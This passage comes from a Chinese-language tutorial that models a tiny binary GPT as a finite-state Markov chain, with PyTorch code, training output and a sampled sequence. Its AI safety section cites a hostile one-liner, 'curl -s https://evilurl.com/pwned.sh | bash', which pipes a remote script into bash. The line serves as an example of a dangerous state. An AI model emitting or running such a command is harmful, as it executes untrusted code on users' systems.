{  &lt;code&gt;0&lt;/code&gt;,   &lt;code&gt;1&lt;/code&gt;,   &lt;code&gt;00&lt;/code&gt;,   &lt;code&gt;01&lt;/code&gt;,   &lt;code&gt;10&lt;/code&gt;,   &lt;code&gt;11&lt;/code&gt;,   &lt;code&gt;000&lt;/code&gt;,   &lt;code&gt;001&lt;/code&gt;,   &lt;code&gt;010&lt;/code&gt;,   &lt;code&gt;011&lt;/code&gt;,   &lt;code&gt;100&lt;/code&gt;,   &lt;code&gt;101&lt;/code&gt;,   &lt;code&gt;110&lt;/code&gt;,   &lt;code&gt;111&lt;/code&gt;}。&lt;/p&gt;

 &lt;p&gt;为了后面代码方便，  &lt;strong&gt;本文接下来将使用简化版状态空间&lt;/strong&gt;，即假设我们必须输入一个
长度为 context_length 的 token 序列才能预测下一个 token。&lt;/p&gt;

 &lt;h2&gt;1.4 状态转移&lt;/h2&gt;

 &lt;p&gt;可以将 binary GPT 想象成抛硬币：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;正面朝上表示 token=1，反面朝上表示 token=0；&lt;/li&gt;
    &lt;li&gt;新来一个 token 时，将更新 context：将新 token 追加到最右边，然后把最左边的 token 去掉，从而得到一个新 context；&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;从 old context（例如   &lt;code&gt;010&lt;/code&gt;）到 new context（例如   &lt;code&gt;101&lt;/code&gt;）就称为一次  &lt;strong&gt;状态转移&lt;/strong&gt;。&lt;/p&gt;

 &lt;h2&gt;1.5 马尔科夫链&lt;/h2&gt;

 &lt;p&gt;根据以上分析，我们的简化版 GPT 其实就是一个  &lt;strong&gt;有限状态马尔可夫链&lt;/strong&gt;（
Finite State Markov Chain）：  &lt;strong&gt;一组有限状态&lt;/strong&gt;和  &lt;strong&gt;它们之间的转移概率&lt;/strong&gt;，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;Token sequence（例如 [0,1,0]）组成状态集合，&lt;/li&gt;
    &lt;li&gt;从一个状态到另一个状态的转换是转移概率。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;接下来我们通过代码来看看它是如何工作的。&lt;/p&gt;

 &lt;h1&gt;2 准备工作&lt;/h1&gt;

 &lt;h2&gt;2.1 安装 pytorch&lt;/h2&gt;

 &lt;p&gt;本文将基于 PyTorch 来实现我们的 GPT。这里直接安装纯 CPU 版本（不需要 GPU），方便测试：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;$ pip3 install torch torchvision -i https://pypi.mirrors.ustc.edu.cn/simple # 用国内源加速
$ pip3 install graphviz -i https://pypi.mirrors.ustc.edu.cn/simple
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h2&gt;2.2 BabyGPT 源码   &lt;code&gt;babygpt.py&lt;/code&gt;&lt;/h2&gt;

 &lt;p&gt;这里基于 PyTorch 用 100 多行代码实现一个简易版 GPT，
代码不懂没关系，可以把它当黑盒，&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;#@title minimal GPT implementation in PyTorch
&amp;quot;&amp;quot;&amp;quot; super minimal decoder-only gpt &amp;quot;&amp;quot;&amp;quot;

import math
from dataclasses import dataclass
import torch
import torch.nn as nn
from torch.nn import functional as F

torch.manual_seed(1337)

class CausalSelfAttention(nn.Module):
    def __init__(self, config):
        super().__init__()
        assert config.n_embd % config.n_head == 0
        # key, query, value projections for all heads, but in a batch
        self.c_attn = nn.Linear(config.n_embd, 3 * config.n_embd, bias=config.bias)
        # output projection
        self.c_proj = nn.Linear(config.n_embd, config.n_embd, bias=config.bias)
        # regularization
        self.n_head = config.n_head
        self.n_embd = config.n_embd
        self.register_buffer(&amp;quot;bias&amp;quot;, torch.tril(torch.ones(config.block_size, config.block_size))
                                    .view(1, 1, config.block_size, config.block_size))

    def forward(self, x):
        B, T, C = x.size() # batch size, sequence length, embedding dimensionality (n_embd)

        # calculate query, key, values for all heads in batch and move head forward to be the batch dim
        q, k ,v  = self.c_attn(x).split(self.n_embd, dim=2)
        k = k.view(B, T, self.n_head, C // self.n_head).transpose(1, 2) # (B, nh, T, hs)
        q = q.view(B, T, self.n_head, C // self.n_head).transpose(1, 2) # (B, nh, T, hs)
        v = v.view(B, T, self.n_head, C // self.n_head).transpose(1, 2) # (B, nh, T, hs)

        # manual implementation of attention
        att = (q @ k.transpose(-2, -1)) * (1.0 / math.sqrt(k.size(-1)))
        att = att.masked_fill(self.bias[:,:,:T,:T] == 0, float(&amp;apos;-inf&amp;apos;))
        att = F.softmax(att, dim=-1)
        y = att @ v # (B, nh, T, T) x (B, nh, T, hs) -&amp;gt; (B, nh, T, hs)
        y = y.transpose(1, 2).contiguous().view(B, T, C) # re-assemble all head outputs side by side

        # output projection
        y = self.c_proj(y)
        return y

class MLP(nn.Module):
    def __init__(self, config):
        super().__init__()
        self.c_fc    = nn.Linear(config.n_embd, 4 * config.n_embd, bias=config.bias)
        self.c_proj  = nn.Linear(4 * config.n_embd, config.n_embd, bias=config.bias)
        self.nonlin = nn.GELU()

    def forward(self, x):
        x = self.c_fc(x)
        x = self.nonlin(x)
        x = self.c_proj(x)
        return x

class Block(nn.Module):
    def __init__(self, config):
        super().__init__()
        self.ln_1 = nn.LayerNorm(config.n_embd)
        self.attn = CausalSelfAttention(config)
        self.ln_2 = nn.LayerNorm(config.n_embd)
        self.mlp = MLP(config)

    def forward(self, x):
        x = x + self.attn(self.ln_1(x))
        x = x + self.mlp(self.ln_2(x))
        return x

@dataclass
class GPTConfig:
    # these are default GPT-2 hyperparameters
    block_size: int = 1024
    vocab_size: int = 50304
    n_layer: int = 12
    n_head: int = 12
    n_embd: int = 768
    bias: bool = False

class GPT(nn.Module):
    def __init__(self, config):
        super().__init__()
        assert config.vocab_size is not None
        assert config.block_size is not None
        self.config = config

        self.transformer = nn.ModuleDict(dict(
            wte = nn.Embedding(config.vocab_size, config.n_embd),
            wpe = nn.Embedding(config.block_size, config.n_embd),
            h = nn.ModuleList([Block(config) for _ in range(config.n_layer)]),
            ln_f = nn.LayerNorm(config.n_embd),
        ))
        self.lm_head = nn.Linear(config.n_embd, config.vocab_size, bias=False)
        self.transformer.wte.weight = self.lm_head.weight # https://paperswithcode.com/method/weight-tying

        # init all weights
        self.apply(self._init_weights)
        # apply special scaled init to the residual projections, per GPT-2 paper
        for pn, p in self.named_parameters():
            if pn.endswith(&amp;apos;c_proj.weight&amp;apos;):
                torch.nn.init.normal_(p, mean=0.0, std=0.02/math.sqrt(2 * config.n_layer))

        # report number of parameters
        print(&amp;quot;number of parameters: %d&amp;quot; % (sum(p.nelement() for p in self.parameters()),))

    def _init_weights(self, module):
        if isinstance(module, nn.Linear):
            torch.nn.init.normal_(module.weight, mean=0.0, std=0.02)
            if module.bias is not None:
                torch.nn.init.zeros_(module.bias)
        elif isinstance(module, nn.Embedding):
            torch.nn.init.normal_(module.weight, mean=0.0, std=0.02)

    def forward(self, idx):
        device = idx.device
        b, t = idx.size()
        assert t &amp;lt;= self.config.block_size, f&amp;quot;Cannot forward sequence of length {t}, block size is only {self.config.block_size}&amp;quot;
        pos = torch.arange(0, t, dtype=torch.long, device=device).unsqueeze(0) # shape (1, t)

        # forward the GPT model itself
        tok_emb = self.transformer.wte(idx) # token embeddings of shape (b, t, n_embd)
        pos_emb = self.transformer.wpe(pos) # position embeddings of shape (1, t, n_embd)
        x = tok_emb + pos_emb
        for block in self.transformer.h:
            x = block(x)
        x = self.transformer.ln_f(x)
        logits = self.lm_head(x[:, -1, :]) # note: only returning logits at the last time step (-1), output is 2D (b, vocab_size)
        return logits
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;接下来我们写一些 python 代码来基于这个 GPT 做训练和推理。&lt;/p&gt;

 &lt;h1&gt;3 基于 BabyGPT 创建一个 binary GPT&lt;/h1&gt;

 &lt;h2&gt;3.1 设置 GPT 参数&lt;/h2&gt;

 &lt;p&gt;首先初始化配置，&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;# hyperparameters for our GPT
vocab_size = 2     # 词汇表 size 为 2，因此只有两个可能的 token：0 和 1
context_length = 3 # 上下文长度位 3，即只用 3 个 bit 来预测下一个 token 出现的概率

config = GPTConfig(
    block_size = context_length,
    vocab_size = vocab_size,
    n_layer = 4, # 这个以及接下来几个参数都是 Transformer 神经网络的 hyperparameters，
    n_head = 4,  # 不理解没关系，认为是 GPT 的默认参数就行了。
    n_embd = 16,
    bias = False,
)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h2&gt;3.2 随机初始化&lt;/h2&gt;

 &lt;p&gt;基于以上配置创建一个 GPT 对象，&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;gpt = GPT(config)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;执行的时候会输出一行日志：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;Number of parameters: 12656
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;也就是说这个 GPT 内部有 12656 个参数，这个数字现在先不用太关心，
只需要知道它们都是  &lt;strong&gt;随机初始化&lt;/strong&gt;的，它们决定了状态之间的转移概率。 
平滑地调整参数也会平滑第影响状态之间的转换概率。&lt;/p&gt;

 &lt;h3&gt;3.2.1 查看初始状态和转移概率&lt;/h3&gt;

 &lt;p&gt;下面这个函数会列出   &lt;code&gt;vocab_size=2,context_length=3&lt;/code&gt; 的所有状态：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;def possible_states(n, k):
    # return all possible lists of k elements, each in range of [0,n)
    if k == 0:
        yield []
    else:
        for i in range(n):
            for c in possible_states(n, k - 1):
                yield [i] + c

list(possible_states(vocab_size, context_length))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;接下来我们就拿这些状态作为输入来训练 binary GPT：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;def plot_model():
    dot = Digraph(comment=&amp;apos;Baby GPT&amp;apos;, engine=&amp;apos;circo&amp;apos;)

    print(&amp;quot;\nDump BabyGPT state ...&amp;quot;)
    for xi in possible_states(gpt.config.vocab_size, gpt.config.block_size):
        # forward the GPT and get probabilities for next token
        x = torch.tensor(xi, dtype=torch.long)[None, ...] # turn the list into a torch tensor and add a batch dimension
        logits = gpt(x) # forward the gpt neural net
        probs = nn.functional.softmax(logits, dim=-1) # get the probabilities
        y = probs[0].tolist() # remove the batch dimension and unpack the tensor into simple list
        print(f&amp;quot;input {xi} ---&amp;gt; {y}&amp;quot;)

        # also build up the transition graph for plotting later
        current_node_signature = &amp;quot;&amp;quot;.join(str(d) for d in xi)
        dot.node(current_node_signature)
        for t in range(gpt.config.vocab_size):
            next_node = xi[1:] + [t] # crop the context and append the next character
            next_node_signature = &amp;quot;&amp;quot;.join(str(d) for d in next_node)
            p = y[t]
            label=f&amp;quot;{t}({p*100:.0f}%)&amp;quot;
            dot.edge(current_node_signature, next_node_signature, label=label)
    return dot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;这个函数除了在每个状态上运行 GPT，预测下一个 token 的概率，还会记录画状态转移图所需的数据。
下面是训练结果：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;#      输入状态      输出概率 [P(0),      P(1)              ]
input [0, 0, 0] ---&amp;gt; [0.4963349997997284, 0.5036649107933044]
input [0, 0, 1] ---&amp;gt; [0.4515703618526459, 0.5484296679496765]
input [0, 1, 0] ---&amp;gt; [0.49648362398147583, 0.5035163760185242]
input [0, 1, 1] ---&amp;gt; [0.45181113481521606, 0.5481888651847839]
input [1, 0, 0] ---&amp;gt; [0.4961162209510803, 0.5038837194442749]
input [1, 0, 1] ---&amp;gt; [0.4517717957496643, 0.5482282042503357]
input [1, 1, 0] ---&amp;gt; [0.4962802827358246, 0.5037197470664978]
input [1, 1, 1] ---&amp;gt; [0.4520467519760132, 0.5479532480239868]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h3&gt;3.2.2 状态转移图&lt;/h3&gt;

 &lt;p&gt;对应的状态转移图（代码所在目录下生成的   &lt;code&gt;states-1.png&lt;/code&gt;）：&lt;/p&gt;

 &lt;p align="center"&gt;  &lt;img height="45%" src="https://arthurchiao.github.io/assets/img/gpt-as-a-finite-state-markov-chain/states-1.png" width="45%"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;可以看到 8 个状态以及它们之间的转移概率。几点说明：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;在每个状态下，下一个 token 只有 0 和 1 两种可能，因此每个节点有 2 个出向箭头；&lt;/li&gt;
    &lt;li&gt;每个状态的入向箭头数量不完全一样；&lt;/li&gt;
    &lt;li&gt;每次状态转换时，最左边的 token 被丢弃，新 token 会追加到最右侧，这个前面也介绍过了；&lt;/li&gt;
    &lt;li&gt;另外注意到，此时的状态转移概率   &lt;strong&gt;大部分都是均匀分布&lt;/strong&gt;的（这个例子中是 50%），
这也符合预期，因为我们   &lt;strong&gt;还没拿真正的输入序列（不是初始的 8 个状态）来训练这个模型&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h2&gt;3.3 训练&lt;/h2&gt;

 &lt;h3&gt;3.3.1 输入序列预处理&lt;/h3&gt;

 &lt;p&gt;接下来我们拿下面这段 token sequence 来训练上面已经初始化好的 GPT：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;Python 3.8.2 (default, Mar 13 2020, 10:14:16)
&amp;gt;&amp;gt;&amp;gt; seq = list(map(int, &amp;quot;111101111011110&amp;quot;))
&amp;gt;&amp;gt;&amp;gt; seq
[1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;将以上 token sequence 转换成 tensor，记录每个样本：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;def get_tensor_from_token_sequence():
    X, Y = [], []

    # iterate over the sequence and grab every consecutive 3 bits
    # the correct label for what&amp;apos;s next is the next bit at each position
    for i in range(len(seq) - context_length):
        X.append(seq[i:i+context_length])
        Y.append(seq[i+context_length])
        print(f&amp;quot;example {i+1:2d}: {X[-1]} --&amp;gt; {Y[-1]}&amp;quot;)
    X = torch.tensor(X, dtype=torch.long)
    Y = torch.tensor(Y, dtype=torch.long)
    print(X.shape, Y.shape)

get_tensor_from_token_sequence()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;输出：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;example  1: [1, 1, 1] --&amp;gt; 1
example  2: [1, 1, 1] --&amp;gt; 0
example  3: [1, 1, 0] --&amp;gt; 1
example  4: [1, 0, 1] --&amp;gt; 1
example  5: [0, 1, 1] --&amp;gt; 1
example  6: [1, 1, 1] --&amp;gt; 1
example  7: [1, 1, 1] --&amp;gt; 0
example  8: [1, 1, 0] --&amp;gt; 1
example  9: [1, 0, 1] --&amp;gt; 1
example 10: [0, 1, 1] --&amp;gt; 1
example 11: [1, 1, 1] --&amp;gt; 1
example 12: [1, 1, 1] --&amp;gt; 0
torch.Size([12, 3]) torch.Size([12])
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;可以看到这个 token sequence 分割成了 12 个样本。接下来就可以训练了。&lt;/p&gt;

 &lt;h3&gt;3.3.2 开始训练&lt;/h3&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;def do_training(X, Y):
    # init a GPT and the optimizer
    torch.manual_seed(1337)
    gpt = babygpt.GPT(config)
    optimizer = torch.optim.AdamW(gpt.parameters(), lr=1e-3, weight_decay=1e-1)

    # train the GPT for some number of iterations
    for i in range(50):
        logits = gpt(X)
        loss = F.cross_entropy(logits, Y)
        loss.backward()
        optimizer.step()
        optimizer.zero_grad()
        print(i, loss.item())

do_training(X, Y)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;输出：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;0 0.663539469242096
1 0.6393510103225708
2 0.6280076503753662
3 0.6231870055198669
4 0.6198631525039673
5 0.6163331270217896
6 0.6124278903007507
7 0.6083487868309021
8 0.6043017506599426
9 0.6004215478897095
10 0.5967749953269958
11 0.5933789610862732
12 0.5902208685874939
13 0.5872761011123657
14 0.5845204591751099
15 0.5819371342658997
16 0.5795179009437561
17 0.5772626996040344
18 0.5751749873161316
19 0.5732589960098267
20 0.5715171694755554
21 0.5699482560157776
22 0.5685476660728455
23 0.5673080086708069
24 0.5662192106246948
25 0.5652689337730408
26 0.5644428730010986
27 0.563723087310791
28 0.5630872845649719
29 0.5625078678131104
30 0.5619534254074097
31 0.5613844990730286
32 0.5607481598854065
33 0.5599767565727234
34 0.5589826107025146
35 0.5576505064964294
36 0.5558211803436279
37 0.5532580018043518
38 0.5495675802230835
39 0.5440602898597717
40 0.5359978079795837
41 0.5282725095748901
42 0.5195847153663635
43 0.5095029473304749
44 0.5019271969795227
45 0.49031805992126465
46 0.48338067531585693
47 0.4769590198993683
48 0.47185763716697693
49 0.4699831008911133
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h3&gt;3.3.3 训练之后的状态转移概率图&lt;/h3&gt;

 &lt;p&gt;以上输出对应的状态转移图
（代码所在目录下生成的   &lt;code&gt;states-2.png&lt;/code&gt;）：&lt;/p&gt;

 &lt;p align="center"&gt;  &lt;img height="45%" src="https://arthurchiao.github.io/assets/img/gpt-as-a-finite-state-markov-chain/states-2.png" width="45%"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;可以看出训练之后的状态转移概率变了，这也符合预期。比如在我们的训练数据中，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;   &lt;strong&gt;101 总是转换为 011&lt;/strong&gt;：经过 50 次训练之后，我们看到这种转换有    &lt;strong&gt;    &lt;code&gt;79%&lt;/code&gt;&lt;/strong&gt; 的概率；&lt;/li&gt;
    &lt;li&gt;111 在 50% 的时间内变为 111，在 50% 的时间内变为 110：训练之后概率分别是  45% 和 55%。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;其他几点需要注意的地方：&lt;/p&gt;

 &lt;ol&gt;
    &lt;li&gt;
       &lt;p&gt;没有看到 100% 或 50% 的转移概率：&lt;/p&gt;

       &lt;p&gt;这是因为    &lt;strong&gt;神经网络没有经过充分训练&lt;/strong&gt;，继续训练就会出现更接近这两个值的转移概率；&lt;/p&gt;
  &lt;/li&gt;
    &lt;li&gt;
       &lt;p&gt;    &lt;strong&gt;训练数据中没出现过的状态&lt;/strong&gt;（例如 000 或 100），    &lt;strong&gt;转移到下一个状态的概率&lt;/strong&gt;
 （预测下一个 token 是 0 还是 1 的概率）    &lt;strong&gt;并不是均匀的&lt;/strong&gt;（    &lt;code&gt;50% vs. 50%&lt;/code&gt;），
  而是差异很大（上图中是     &lt;code&gt;75% vs. 25%&lt;/code&gt;）。&lt;/p&gt;

       &lt;p&gt;如果训练期间从未遇到过这些状态，那它们的转移概率不应该在 ~50% 吗？
不是，以上结果也是符合预期的。因为    &lt;strong&gt;在真实部署场景中，GPT 的几乎每个输入都没有在训练中见过&lt;/strong&gt;。
这种情况下，我们依靠 GPT 自身内部设计及其 inductive bias 来执行适当的泛化。&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

 &lt;h2&gt;3.4 采样（推理）&lt;/h2&gt;

 &lt;p&gt;最后，我们试试从这个 GPT 中采样：初始输入是   &lt;code&gt;111&lt;/code&gt;，然后依次预测接下来的 20 个 token，&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;xi = [1, 1, 1] # the starting sequence
fullseq = xi.copy()
print(f&amp;quot;init: {xi}&amp;quot;)
for k in range(20):
    x = torch.tensor(xi, dtype=torch.long)[None, ...]
    logits = gpt(x)
    probs = nn.functional.softmax(logits, dim=-1)
    t = torch.multinomial(probs[0], num_samples=1).item() # sample from the probability distribution
    xi = xi[1:] + [t] # transition to the next state
    fullseq.append(t)
    print(f&amp;quot;step {k}: state {xi}&amp;quot;)

print(&amp;quot;\nfull sampled sequence:&amp;quot;)
print(&amp;quot;&amp;quot;.join(map(str, fullseq)))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;输出：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;init: [1, 1, 1]
step 0: state [1, 1, 0]
step 1: state [1, 0, 1]
step 2: state [0, 1, 1]
step 3: state [1, 1, 1]
step 4: state [1, 1, 0]
step 5: state [1, 0, 1]
step 6: state [0, 1, 1]
step 7: state [1, 1, 1]
step 8: state [1, 1, 0]
step 9: state [1, 0, 1]
step 10: state [0, 1, 1]
step 11: state [1, 1, 0]
step 12: state [1, 0, 1]
step 13: state [0, 1, 1]
step 14: state [1, 1, 1]
step 15: state [1, 1, 1]
step 16: state [1, 1, 0]
step 17: state [1, 0, 1]
step 18: state [0, 1, 0]
step 19: state [1, 0, 1]

full sampled sequence:
11101110111011011110101
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;ul&gt;
    &lt;li&gt;采样得到的序列：   &lt;code&gt;11101110111011011110101&lt;/code&gt;&lt;/li&gt;
    &lt;li&gt;之前的训练序列：   &lt;code&gt;111101111011110&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;我们的 GPT 训练的越充分，采样得到的序列就会跟训练序列越像。
但  &lt;strong&gt;在本文的例子中，我们永远得不到完美结果&lt;/strong&gt;，
因为状态 111 的下一个 token 是模糊的：50% 概率是 1，50% 是 0。&lt;/p&gt;

 &lt;h2&gt;3.5 完整示例&lt;/h2&gt;

 &lt;p&gt;源文件：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;$ ls
babygpt.py  main.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;All-in-one 执行：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;$ python3 main.py
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;生成的两个状态转移图：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;$ ls *.png
states-1.png  states-2.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h1&gt;4 问题讨论&lt;/h1&gt;

 &lt;h2&gt;4.1 词典大小和上下文长度&lt;/h2&gt;

 &lt;p&gt;本文讨论的是基于 3 个 token 的二进制 GPT。实际应用场景中，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;   &lt;code&gt;vocab_size&lt;/code&gt; 会远远大于 2，例如    &lt;strong&gt;50 万&lt;/strong&gt;；&lt;/li&gt;
    &lt;li&gt;   &lt;code&gt;context_length&lt;/code&gt; 的典型范围    &lt;strong&gt;    &lt;code&gt;2048 ~ 32000&lt;/code&gt;&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h2&gt;4.2 模型对比：计算机 vs. GPT&lt;/h2&gt;

 &lt;p&gt;计算机（computers）的计算过程其实也是类似的，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;计算机有内存，存储离散的 bits；&lt;/li&gt;
    &lt;li&gt;计算机有 CPU，定义转移表（transition table）；&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;但它们用的更像是一个是  &lt;strong&gt;有限状态机&lt;/strong&gt;（FSM）而不是  &lt;strong&gt;有限状态马尔可夫链&lt;/strong&gt;（FSMC）。 
另外，计算机是  &lt;strong&gt;确定性动态系统&lt;/strong&gt;（ deterministic dynamic systems），
所以每个状态的转移概率中，有一个是 100%，其他都是 0%，也就是说它每次都是从一个状态
100% 转移到下一个状态，不存在模糊性（否则世界就乱套了，想象一下转账 100 块钱，
不是只有成功和失败两种结果，而是有可能转过去 90，有可能转过去 10 块）。&lt;/p&gt;

 &lt;p&gt;GPT 则是一种另一种计算机体系结构，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;默认情况下是   &lt;strong&gt;随机&lt;/strong&gt;的，&lt;/li&gt;
    &lt;li&gt;计算的是 token 而不是比特。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;也就是说，即使在绝对零度采样，也不太可能将 GPT 变成一个 FSM。
这意味着每次状态转移都是贪婪地挑概率最大的 token；但也可以通过
  &lt;a href="https://en.wikipedia.org/wiki/Beam_search"&gt;beam search&lt;/a&gt; 算法来降低这种贪婪性。
但是，在采样时完全丢弃这些熵也是有副作用的，采样 benchmark 以及样本的
qualitative look and feel 都会下降（看起来很“安全”，无聊），因此实际上通常不会这么做。&lt;/p&gt;

 &lt;h2&gt;4.3 模型参数大小（GPT 2/3/4）&lt;/h2&gt;

 &lt;p&gt;本文的例子是用 3bit 来存储一个状态，因此所需存储空间极小；但真实世界中的 GPT 模型所需的存储空间就大了。&lt;/p&gt;

 &lt;p&gt;  &lt;a href="https://www.lesswrong.com/posts/7qSHKYRnqyrumEfbt"&gt;这篇文章&lt;/a&gt; 对比了 GPT 和常规计算机（computers）的 size，例如：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;
       &lt;p&gt;GPT-2 有     &lt;strong&gt;     &lt;code&gt;50257&lt;/code&gt;&lt;/strong&gt; 个独立 token，上下文长度是     &lt;strong&gt;     &lt;code&gt;2048&lt;/code&gt;&lt;/strong&gt; 个 token。&lt;/p&gt;

       &lt;p&gt;每个 token 需要     &lt;code&gt;log2(50257) ≈ 15.6bit&lt;/code&gt; 来表示，那一个上下文或
    &lt;strong&gt;一个状态&lt;/strong&gt;需要的存储空间就是
    &lt;strong&gt;     &lt;code&gt;15.6 bit/token * 2048 token = 31Kb ≈ 4KB&lt;/code&gt;&lt;/strong&gt;。
这足以     &lt;a href="https://www.digitec.ch/en/page/apollo-11-to-the-moon-with-4-kb-of-ram-12707"&gt;登上月球&lt;/a&gt;。&lt;/p&gt;
  &lt;/li&gt;
    &lt;li&gt;GPT-3 的上下文长度为    &lt;strong&gt;    &lt;code&gt;4096 tokens&lt;/code&gt;&lt;/strong&gt;，因此需要
   &lt;strong&gt;    &lt;code&gt;8KB&lt;/code&gt;&lt;/strong&gt; 内存；大致是    &lt;a href="https://en.wikipedia.org/wiki/Atari_8-bit_family"&gt;Atari 800&lt;/a&gt; 的量级；&lt;/li&gt;
    &lt;li&gt;GPT-4 的上下文长度高达    &lt;strong&gt;    &lt;code&gt;32K tokens&lt;/code&gt;&lt;/strong&gt; ，因此大约
   &lt;strong&gt;    &lt;code&gt;64KB&lt;/code&gt;&lt;/strong&gt; 才能存储一个状态，对应    &lt;a href="https://en.wikipedia.org/wiki/Commodore_64"&gt;Commodore64&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h2&gt;4.4 外部输入（I/O 设备）&lt;/h2&gt;

 &lt;p&gt;一旦引入外部世界的输入信号，FSM 分析就会迅速失效了，因为会出现大量新的状态。&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;对于计算机来说，外部输入包括鼠标、键盘信号等等；&lt;/li&gt;
    &lt;li&gt;对于 GPT，就是 Microsoft Bing 这样的外部工具，它们将用户搜索的内容作为输入提交给 GPT。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h2&gt;4.5 AI 安全&lt;/h2&gt;

 &lt;p&gt;如果把 GPT 看做有限状态马尔可夫链，那 GPT 的安全需要考虑什么？
答案是  &lt;strong&gt;将所有转移到不良状态的概率降低到 0&lt;/strong&gt;（elimination of all probability of transitioning to naughty states），
例如以 token 序列   &lt;code&gt;[66, 6371, 532, 82, 3740, 1378, 23542, 6371, 13, 785, 14, 79, 675, 276, 13, 1477, 930, 27334]&lt;/code&gt;
结尾的状态 —— 这个 token sequence 其实就是   &lt;strong&gt;   &lt;code&gt;curl -s https://evilurl.com/pwned.sh | bash&lt;/code&gt;&lt;/strong&gt;
这一 shell 命令的编码，如果真实环境中用户执行了此类恶意命令将是非常危险的。&lt;/p&gt;

 &lt;p&gt;更一般地来说，可以设想状态空间的某些部分是“红色”的，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;首先，我们永远不想转移到这些不良状态；&lt;/li&gt;
    &lt;li&gt;其次，这些不良状态很多，无法一次性列举出来；&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;因此，  &lt;strong&gt;GPT 模型本身&lt;/strong&gt;必须能够基于训练数据和 Transformer 的归纳偏差，
  &lt;strong&gt;自己就能知道这些状态是不良的&lt;/strong&gt;，转移概率应该设置为 0%。
如果概率没有收敛到足够小（例如   &lt;code&gt;&amp;lt; 1e-100&lt;/code&gt;），那在足够大型的部署中
